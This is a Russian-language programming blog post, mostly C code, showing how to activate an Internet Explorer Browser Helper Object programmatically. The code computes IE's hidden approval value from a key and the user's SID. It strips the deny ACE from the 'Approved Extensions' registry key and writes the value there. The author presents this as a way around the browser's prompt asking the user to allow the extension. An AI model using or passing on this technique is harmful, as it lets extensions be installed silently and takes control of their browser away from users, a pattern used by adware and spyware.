Программная активация BHO
В последних версиях Internet Explorer для полноценной установки BHO недостаточно зарегистрировать DLL и добавить его в список расширений в реестре: для начала работы требуется, чтобы юзер его активировал. Я нашел решение этой проблемы.
Допустим, у нас имеется расширение со следующим CLSID:
1 2 3 |
// CLSID для BHO const CLSID CLSID_IEPlugin = { 0x3543619c, 0xd563, 0x43f7, { 0x95, 0xea, 0x4d, 0xa7, 0xe1, 0xcc, 0x39, 0x6a } }; |
Далее нам потребуются два ключа — текстовый и бинарный. Текстовый ключ содержит строку «Only Internet Explorer code should write this user setting. See http://go.microsoft.com/fwlink/?LinkId=159651 for more details.», а бинарный содержит два идущих друг за другом DWORD со значениями 0×00000001 и 0×00000009 соответственно, после чего идет CLSID расширения. Таким образом, бинарный ключ занимает 24 байта (8 байт на два DWORD + 16 байт на CLSID):
1 2 3 4 5 6 7 |
// текстовый ключ BYTE TextKey[] = "Only Internet Explorer code should write this user setting. " "See http://go.microsoft.com/fwlink/?LinkId=159651 for more details."; // бинарный ключ BYTE BinaryKey[] = "\x01\x00\x00\x00\x09\x00\x00\x00" "\x9C\x61\x43\x35\x63\xD5\xF7\x43\x95\xEA\x4D\xA7\xE1\xCC\x39\x6A"; |
Также для работы нам потребуется получить SID текущего пользователя в текстовом виде. Функция весьма проста, вот её код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
// // GetUserSID() // получаем SID пользователя в строковом представлении // LPSTR GetUserSID() { PSID pSID = NULL; HANDLE hToken = NULL; LPSTR lpszResult = NULL; LPSTR lpszReturn = NULL; // откроем токен текущего процесса if(!(OpenProcessToken((HANDLE)0xFFFFFFFF, TOKEN_READ, &hToken))) return NULL; // получим Logon SID if(!(GetLogonSID(hToken, &pSID))) return NULL; // конвертируем в строку if(0 == ConvertSidToStringSid(pSID, &lpszResult)) { // освобождаем ресурсы и выходим FreeLogonSID(&pSID); return NULL; } // скопируем результат lpszReturn = (LPSTR)calloc(1, strlen(lpszResult) + 2); strcpy(lpszReturn, lpszResult); // освободим память и ресурсы LocalFree(lpszResult); FreeLogonSID(&pSID); // вернем текстовый SID return lpszReturn; } |
В вышеприведенной функции GetLogonSID и FreeLogonSID — функции-врапперы, предназначенные для получения SID по переданному токену. После получения необходимых данных можно начать формирование ключа. Объявим необходимые переменные:
1 2 3 4 5 6 7 8 |
// SID пользователя LPSTR lpszSID = NULL; // ключ-результат BYTE Result[24] = { 0 }; // счетчики INT i = 0, count = 0; |
Прежде всего, разумеется, нужно получить текстовое представление SID’а пользователя:
1 2 |
// получаем текстовый SID lpszSID = GetUserSID(); |
После этого заполняется 24-байтовый массив результата. Каждый байт — результат операции XOR над соответствующим байтом бинарного ключа, соответствующим байтом текстового SID и соответствующим байтом текстового ключа. Значение счетчика текстового ключа нужно сохранить:
1 2 3 |
// заполняем байты результата for(i = 0; i < 24; i++) Result[i] = BinaryKey[i] ^ TextKey[count++] ^ (BYTE)(lpszSID[i]); |
После этого результат нужно поксорить с оставшейся частью текстового ключа. Если в цикле мы достигаем конца результата — начинаем ксорить снова с первого элемента. Эту работу выполняет следующий код:
1 2 3 4 5 6 |
// ксорим результат с остатком текстового ключа for(i = 0; count < 0x80; i++, count++) { if(i == 24) i = 0; Result[i] ^= (BYTE)(TextKey[count]); } |
Теперь ключ готов. Его необходимо записать, как параметр типа REG_BINARY, в ключ реестра HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Approved Extensions. Название параметра — это GUID расширения, а его значение — получившийся в результате ключ:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// откроем ключ реестра RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Approved Extensions", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_QUERY_VALUE, NULL, &hKey, NULL); // разрешим запись в ключ реестра SetKeyWritable(hKey); // откроем ключ реестра заново (для записи) RegOpenKeyEx(hKey, NULL, 0, KEY_ALL_ACCESS, &hNewKey); // запишем результат RegSetValueEx(hNewKey, "{3543619C-D563-43f7-95EA-4DA7E1CC396A}", 0, REG_BINARY, Result, 24); |
Функция SetKeyWritable выставляет разрешения на запись параметров данного ключа. Вот её код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
// // // SetKeyWritable() // делаем ключ реестра записываемым // hKey - ключ // BOOL SetKeyWritable( HANDLE hKey ) { DWORD dwRet = 0; PACL pACL = NULL; PSID pSID = NULL; HANDLE hToken = NULL; LPBYTE lpACE = NULL; BOOL bDeleted = FALSE; PSECURITY_DESCRIPTOR pSecurityDescriptor; ACL_SIZE_INFORMATION AclSize; // откроем токен текущего процесса if(!(OpenProcessToken((HANDLE)0xFFFFFFFF, TOKEN_READ, &hToken))) return FALSE; // получим Logon SID if(!(GetLogonSID(hToken, &pSID))) return FALSE; // получим информацию об ACL ключа dwRet = GetSecurityInfo(hKey, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, &pACL, NULL, &pSecurityDescriptor); // проверим на ошибку if(dwRet != 0) return FALSE; // получим информацию о самом ACL dwRet = GetAclInformation(pACL, &AclSize, sizeof(AclSize), AclSizeInformation); // проверим на ошибку if(dwRet == 0) return FALSE; // цикл по всем ACE for(DWORD i = 0; i < AclSize.AceCount; i++) { // получим ACE if(GetAce(pACL, i, (LPVOID*)&lpACE)) { // если этот ACE запрещает запись if(*lpACE == 1) { // удалим ACE DeleteAce(pACL, i); // выходим из цикла bDeleted = TRUE; break; } } } // если запрещающий ACE был удалён if(bDeleted == TRUE) { // установим SECURITY INFO dwRet = SetSecurityInfo(hKey, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL); // проверим на ошибку if(dwRet != 0) return FALSE; } // всё прошло успешно return TRUE; } |
Вот и всё — эта техника позволяет обойти запрос разрешения на запуск BHO в Internet Explorer.